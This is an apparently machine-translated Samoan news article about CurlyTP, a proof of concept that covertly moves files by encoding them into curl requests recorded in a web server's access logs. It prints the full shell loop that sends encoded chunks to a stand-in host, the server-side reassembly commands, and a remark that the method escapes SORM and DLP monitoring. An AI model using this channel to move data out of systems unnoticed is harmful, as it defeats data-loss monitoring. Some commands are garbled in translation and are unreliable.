E tusa ai ma le faʻamatalaga Wikipedia, o le mate mate o se mea taupulepulega e faʻaaogaina e fesuiai faʻamatalaga poʻo nisi mea i le va o tagata e faʻaogaina se nofoaga faalilolilo. O le manatu e le mafai ona feiloai tagata - ae latou te fefaʻasoaaʻi faʻamatalaga e faʻamautinoa ai le saogalemu o galuega.

O le mea lilo e le tatau ona tosina atu i ai. O le mea lea, i le lalolagi tuusao e masani ona latou faʻaogaina mea faʻapitoa: piliki matala i le puipui, se tusi faletusi, poʻo se avanoa i totonu o se laau.

E tele fa'ailoga ma mea fa'aigoaina i luga ole Initaneti, ae o le mea moni o le fa'aogaina o nei meafaigaluega e tosina mai ai le mafaufau. E le gata i lea, e mafai ona poloka i latou i le tulaga faʻapisinisi poʻo le malo. O le a le mea e fai?

Na tuʻuina mai e le faʻatupuina o Ryan Flowers se filifiliga manaia - fa'aoga so'o se 'upega tafa'ilagi e fai ma mea e lalafi ai. Afai e te mafaufau i ai, o le a le mea e fai e le 'upega tafaʻilagi? Mauaina talosaga, tu'u faila ma tusi ogalaau. Ma e tusi ai talosaga uma, e oo lava i mea sese!

E foliga mai o soʻo se upega tafaʻilagi e mafai ai ona e faʻasaoina toetoe lava o soʻo se feʻau i totonu o le ogalaau. Sa mafaufau Fugalaau pe faapefea ona faaaoga lenei mea.

Na te ofoina atu lenei avanoa:

1. Ave se faila faila (fe'au faalilolilo) ma fuafua le hash (md5sum).
2. Matou te fa'ailoga (gzip+uuencode).
3. Matou te tusi i le ogalaau e faʻaaoga ai se talosaga sese ma le loto i ai i le server.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Ina ia faitau se faila, e tatau ona e faʻatinoina nei gaioiga i le faʻasologa faʻasolosolo: faʻavasega ma tatala le faila, siaki le hash (o le hash e mafai ona feaveaʻi ma le saogalemu i luga o auala tatala).

Ua suia avanoa i =+=ina ia leai ni avanoa i le tuatusi. O le polokalame, lea e taʻua e le tusitala CurlyTP, faʻaogaina le base64 encoding, pei o faʻapipiʻi imeli. O le talosaga e faia i se upu autu ?transfer?ina ia faigofie ona maua e le tagata e mauaina i totonu o ogalaau.

O le a se mea tatou te vaʻaia i ogalaau i lenei tulaga?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

E pei ona taʻua muamua, ina ia maua se savali faalilolilo e te manaʻomia le faʻatinoina o gaioiga i le faʻasologa faʻasolosolo:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

O le faagasologa e faigofie ona otometi. Md5sum e fetaui, ma o mea o loʻo i totonu o le faila e faʻamaonia ai na saʻo mea uma.

O le auala e matua faigofie lava. "O le uiga o lenei faʻamalositino e naʻo le faʻamaonia o faila e mafai ona faʻafeiloaʻi e ala i talosaga laiti i luga ole laiga, ma e galue i luga o soʻo se upega tafaʻilagi ma ogalaau tusitusi manino. O le mea moni lava, o so'o se upegatafa'ilagi o se nofoaga lalafi!" tusia Fugalaau.

O le mea moni, e na'o le auala e aoga pe a maua e le tagata e mauaina le avanoa i fa'amaumauga a le server. Ae o lea avanoa e tuʻuina atu, mo se faʻataʻitaʻiga, e le tele o tagata talimalo.

E fa'afefea ona fa'aoga?

Fai mai Ryan Flowers e le o ia o se tagata tomai faapitoa mo le puipuiga o faʻamatalaga ma o le a le tuʻufaʻatasia se lisi o faʻaoga talafeagai mo CurlyTP. Mo ia, ua na o se faʻamaoniga o le manatu o meafaigaluega masani tatou te vaʻaia i aso uma e mafai ona faʻaaogaina i se auala e le masani ai.

O le mea moni, o lenei metotia o loʻo i ai le tele o faʻamanuiaga i luga o isi 'auʻaunaga "natia" pei Fa'afuainumera Mate Mata'u poʻo PirateBox: e le manaʻomia se faʻatulagaga faʻapitoa i luga o le 'auʻaunaga poʻo soʻo se faʻasalalauga faʻapitoa - ma o le a le faʻaosoina masalosaloga i latou o loʻo mataʻituina le feoaiga. E foliga mai o le SORM po'o le DLP o le a su'esu'e URL mo faila fa'apipi'i.

O se tasi lea o auala e faʻasalalau ai feʻau e ala i faila faila. E mafai ona e manatua pe na faʻafefea ona tuʻuina e nisi o kamupani maualuluga Atina'e Galuega i HTTP Ulutala po'o le fa'ailoga o itulau HTML.

O le manatu e na'o le au atia'e upegatafa'ilagi latou te va'ai i lenei fuamoa o le Eseta, talu ai o se tagata masani e le tilotilo i ulutala po'o HTML code.

puna: www.habr.com